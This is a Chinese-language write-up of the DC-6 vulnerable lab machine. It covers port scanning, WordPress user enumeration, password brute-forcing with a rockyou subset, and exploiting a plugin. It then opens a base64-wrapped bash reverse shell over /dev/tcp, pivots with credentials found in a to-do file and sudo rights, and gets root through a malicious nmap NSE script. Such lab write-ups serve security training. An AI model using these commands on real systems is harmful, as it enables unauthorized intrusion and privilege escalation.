DC6

目录

• 1 端口扫描
• 2 看看web先
• 3 提权

1 端口扫描

找到靶机ip，扫描端口，发现仅开放了ssh和web，是debian + apache wordpress

{"ip":"192.168.68.75","port":22,"service":"ssh","Banner":"SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u6\x0a","url":""}
{"ip":"192.168.68.75","port":80,"service":"http","Banner":"","url":"http://192.168.68.75:80"}
{"url":"http://192.168.68.75:80","StatusCode":200,"Title":"Wordy–JustanotherWordPresssite","HeaderDigest":"server:server:Apache/2.4.25 (Debian)","Length":506,"KeywordFinger":"WordPress","HashFinger":""}

2 看看web先

需要先在hosts中添加192.168.68.75 wordy

首页有这么一段话

大致是说，Wordy很注重安全，尽力提供最安全且最新的插件，waf？ 不过，那可是n久以前的“最新”了 = =

用wpscan做个简单的信息收集

• 版本：5.1.1
• 主题：twentyseventeen v2.1

看看对应版本有没有入侵类漏洞

除了xmlrpc的dos和未授权查看文章之外，没有可用漏洞

去看了看，只有登录这个功能点可用，通过忘记密码测试，存在admin账号，尝试了爆破但没有成功，看了下wp，需要枚举用户名，并用kali自带的字典进行爆破

用户名枚举wpscan --url wordy -e u

[i] User(s) Identified:

[+] admin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://wordy/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] graham
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] mark
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] sarah
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] jens
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt 如果不存在的话，可能是rockyou.txt.gz没解压，gzip -d即可

爆破出来一个账号

[+] Performing password attack on Xmlrpc against 5 user/s
[SUCCESS] - mark / helpdesk01 

进入到后台，只有一个Activity Monitor，联想到前面说的up-to-date plugin，看看有没有可利用的漏洞

直接一把梭哈

但这个脚本会报错（无输出时），加个try except continue就可以了

3 提权

这只是个伪shell，先反弹一个出来，但是发现这个工具有问题，&没法用（猜测会被转义），用base64编码

echo "/bin/bash -i >& /dev/tcp/ip/ 0>&1 2>&1 &" | base64
echo xxxxxxxx | base64 -d | bash

跑一下LinEnum

• sudo version 1.8.19p1

• mysql Ver 15.1 Distrib 10.1.37-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2

• apache 2.4.25

• suid file

  -rwsr-xr-- 1 root messagebus 42992 Mar  2  2018 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  -rwsr-xr-x 1 root root 440728 Mar  2  2019 /usr/lib/openssh/ssh-keysign
  -rwsr-xr-x 1 root root 10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
  -rwsr-xr-x 1 root root 50040 May 17  2017 /usr/bin/chfn
  -rwsr-xr-x 1 root root 140944 Jun  5  2017 /usr/bin/sudo
  -rwsr-xr-x 1 root root 75792 May 17  2017 /usr/bin/gpasswd
  -rwsr-xr-x 1 root root 40312 May 17  2017 /usr/bin/newgrp
  -rwsr-xr-x 1 root root 40504 May 17  2017 /usr/bin/chsh
  -rwsr-xr-x 1 root root 59680 May 17  2017 /usr/bin/passwd
  -rwsr-xr-x 1 root root 40536 May 17  2017 /bin/su
  -rwsr-xr-x 1 root root 44304 Mar  8  2018 /bin/mount
  -rwsr-xr-x 1 root root 31720 Mar  8  2018 /bin/umount
  -rwsr-xr-x 1 root root 61240 Nov 10  2016 /bin/ping
  

• .bash_history

  /home/jens/.bash_history
  /home/mark/.bash_history
  /home/graham/.bash_history
  

先看下每个用户的目录

在/home/mark/stuff中有个things-to-do.txt

Things to do:

- Restore full functionality for the hyperdrive (need to speak to Jens)
- Buy present for Sarah's farewell party
- Add new user: graham - GSo7isUM1D4 - done
- Apply for the OSCP course
- Buy new laptop for Sarah's replacement

ssh登录graham

再运行一下LinEnum.sh，没有可利用信息

看看sudo -l，里面有个以jens身份可用运行的sh文件

成功切换到jens用户，再看看sudo -l，可以用nmap

nmap提权网上介绍很多，见过很多次，先看看nmap版本nmap --version，版本是7.4，没有交互模式

查了下高版本提权方式，可以写个nmap的脚本，然后加载即可

jens@dc-6:~$ echo 'os.execute("/bin/bash")' > pwn.nse
jens@dc-6:~$ cat pwn.nse
os.execute("/bin/bash")
jens@dc-6:~$ sudo nmap --script=`pwd`/pwn.nse

Starting Nmap 7.40 ( https://nmap.org ) at 2022-04-19 17:30 AEST
root@dc-6:/home/jens# root

输入的命令不会有回显

python -c "import pty;pty.spawn('/bin/bash')"拿一个模拟终端